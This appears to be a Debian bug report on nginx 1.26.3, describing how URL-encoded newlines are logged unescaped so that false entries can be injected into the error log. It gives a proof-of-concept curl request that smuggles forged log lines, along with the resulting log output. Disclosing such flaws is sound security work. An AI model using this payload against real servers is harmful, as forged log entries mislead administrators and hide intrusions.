Package: nginx
Version: 1.26.3-3+deb13u7
When using the error_log directive, a newline character in the URL (%0a) is
logged directly, without escaping.
As a result, it is possible to inject false entries into the server log.
Example configuration:
server {
server_name example;
access_log /var/log/nginx/example.log;
error_log /var/log/nginx/example.err;
}
Request:
curl '
http://example/%0a2026/07/30%2013:66:66%20oops%0a2026/07/30%2013:66:66%20'
Log:
2026/07/30 11:38:57 [error] 7608#7608: *58 open() "/usr/share/nginx/html/
2026/07/30 13:66:66 oops
2026/07/30 13:66:66 " failed (2: No such file or directory), client:
127.0.0.1, server: example, request: "GET
/%0a2026/07/30%2013:66:66%20oops%0a2026/07/30%2013:66:66%20 HTTP/1.1",
host: "example"
Pozdrawiam/Regards,
Andrzej Borsuk
